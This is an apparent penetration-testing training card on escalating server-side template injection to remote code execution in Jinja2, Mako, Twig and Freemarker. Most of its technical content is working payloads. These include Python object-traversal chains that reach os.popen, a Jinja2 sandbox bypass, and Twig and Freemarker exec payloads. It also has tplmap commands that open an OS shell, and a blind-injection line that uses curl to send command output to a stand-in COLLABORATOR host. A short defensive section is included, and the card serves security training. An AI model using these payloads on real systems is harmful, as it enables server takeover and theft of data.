SSTI to RCE chain
Theory
Why This Matters
Escalating Server-Side Template Injection from information disclosure to remote code execution is one of the most impactful web vulnerability chains in offensive security. The transition from reading config values to executing arbitrary OS commands fundamentally changes the blast radius: from credential theft to full server compromise, lateral movement, and persistent access. Real-world SSTI-to-RCE chains have been demonstrated against Flask/Jinja2 applications on HackerOne, in CTF competitions (including HTB and THM machines), and in CVEs against web frameworks with insecure defaults.
Core Concept
SSTI-to-RCE escalation relies on the fact that template engines execute within the same process as the application, with the same operating system privileges. Once an attacker can execute arbitrary Python (or Java/PHP) expressions via the template engine, they can call OS command execution functions available in the language runtime.
The escalation path depends on the template engine and the sandboxing configuration:
Jinja2 (Python) — The standard RCE chain traverses Python's object model to reach os or subprocess. Because Python's __import__ is accessible through __globals__ of any function object in the template context, the attacker imports the os module and calls popen(). Alternative paths use __builtins__ to reach __import__.
Tornado / Mako (Python) — These engines are less sandboxed by default. Mako executes Python blocks directly (<% import os; os.system('id') %>). Tornado template expressions have direct access to Python builtins.
Twig (PHP) — RCE via {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}} uses the Twig environment object to register a PHP callback.
Freemarker (Java) — <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} instantiates a built-in Execute class.
The sandbox bypass challenge is that Jinja2's SandboxedEnvironment blocks __class__, __mro__, __globals__ access by default. Bypass techniques include using |attr() filters to access attributes by string name (bypassing attribute-access blocking), and using globals accessible in non-sandboxed contexts (like lipsum, namespace, cycler).
Blind SSTI RCE — When output is not returned in the response, use OOB channels: inject __import__('os').popen('curl http://COLLABORATOR/$(id|base64 -w0)').read() to exfiltrate command output via HTTP.
Technical Deep-Dive
# Jinja2 standard RCE chain (non-sandboxed)
# Path 1: via __import__ in lipsum globals
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# Path 2: via config class init globals (Flask)
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# Path 3: find subprocess.Popen in subclasses
# First enumerate subclasses: {{''.__class__.__mro__[1].__subclasses__()}}
# Locate subprocess.Popen at index N (varies by Python version / installed libs)
# Then:
{{''.__class__.__mro__[1].__subclasses__()[N](['id'], stdout=-1).communicate()}}
# Path 4: shorter Jinja2 (if cycler is available in context)
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Jinja2 SandboxedEnvironment bypass using |attr filter
# |attr('string') accesses attribute by name as a string — bypasses
# attribute-access sandboxing in some versions:
{{('x'|attr('__class__')|attr('__mro__'))[1]
|attr('__subclasses__')()}}
# Mako template RCE (Python) — direct code block execution:
<% import os %>
${os.popen('id').read()}
# Twig (PHP) RCE:
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
# Output: uid=33(www-data) gid=33(www-data)
# Freemarker (Java) RCE:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# tplmap --os-shell for interactive shell
python3 tplmap.py
-u 'https://target.example.com/greet?name=*'
--os-shell
# Blind RCE via OOB (no output in response):
# Inject in the name parameter URL-encoded:
# {{lipsum.__globals__['os'].popen('curl http://COLLABORATOR/$(whoami)').read()}}
python3 tplmap.py
-u 'https://target.example.com/greet?name=*'
--os-cmd 'whoami'
# tplmap handles blind via out-of-band automatically
Security Assessment Methodology
- Confirm SSTI and identify engine — Use polyglot and arithmetic payloads (see card 6). Must confirm the engine before attempting RCE chains.
- Attempt direct RCE payload — Start with the simplest path for the detected engine. For Jinja2:
{{cycler.__init__.__globals__.os.popen('id').read()}}. Check if output appears in response. - Try alternative traversal paths — If the first path fails (sandbox or restricted attributes), try lipsum, config, and subclass-chain paths. Document which paths succeed and fail.
- Test sandbox bypass via |attr — If SandboxedEnvironment is confirmed, attempt
|attr()filter-based attribute access to bypass sandbox restrictions. - Test blind RCE via OOB — If no output is returned, inject a
curlornslookuppayload pointing to Burp Collaborator to confirm execution without response reflection. - Use tplmap --os-shell — Automate multi-path attempts with tplmap; use
--os-shellto establish an interactive command prompt for deeper assessment. - Scope impact — Run
id,hostname,uname -a,cat /proc/1/cgroup(to detect containers), andenvto scope the execution environment for the report.
Defensive Countermeasure — The only reliable prevention is to never pass user input to template rendering functions as template text. Use
render_template('name.html', var=user_input)notrender_template_string(user_input). If a SandboxedEnvironment is used, keep the Jinja2 library version current (sandbox bypasses are patched in new releases), and audit which global variables are exposed to the template context — removeconfig,lipsum,cycler, andnamespacefrom the globals if they are not required. Run the application process under a dedicated low-privilege OS user to minimise the impact of any RCE.
Common Assessment Errors
- Using only one subclass index — The subprocess.Popen index in
__subclasses__()varies between Python versions and installed packages. Automate enumeration or use tplmap rather than hardcoding index values. - Not testing blind paths — An application that suppresses template errors and returns no output may still be injectable. Always test with OOB before concluding a negative result.
- Stopping at 'sandbox detected' — Sandbox presence raises the bar but does not eliminate the vulnerability. Published bypass techniques exist for all Jinja2 sandbox versions prior to the current release.
- Conflating Jinja2 and Twig — Both use
{{ }}syntax but have entirely different object models. Jinja2 Python chains do not work in Twig PHP contexts. - Not checking Tornado and Mako — These engines are far less sandboxed than Jinja2 and may allow direct OS calls with simpler payloads.
- Missing the impact escalation narrative — Reports should clearly articulate the chain: SSTI confirmed → RCE achieved → server context (user, hostname, container) → lateral movement potential. A bare
{{7*7}}=49finding without demonstrating RCE undervalues the vulnerability.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops deep understanding of SSTI-to-RCE escalation chains across multiple template engines |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers sandbox bypass techniques and cross-engine RCE paths |
| S0001 | Skill in conducting vulnerability scans | Trains tplmap --os-shell usage and multi-path RCE enumeration |
| S0044 | Skill in mimicking threat behaviors | Builds adversarial skill in chaining template engine object traversal to OS command execution |
| T0028 | Test system security controls | Covers sandbox configuration review and template context exposure assessment |
| T0591 | Perform penetration testing | Provides complete SSTI-to-RCE escalation methodology with blind OOB fallback |
Further Reading
- Exploiting SSTI in Thymeleaf — Acunetix Security Blog
- Jinja2 Sandbox Escape Techniques — HackTricks, Carlos Polop
- tplmap: Server-Side Template Injection and Code Injection Detection Tool — Emilio Pinna, GitHub
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.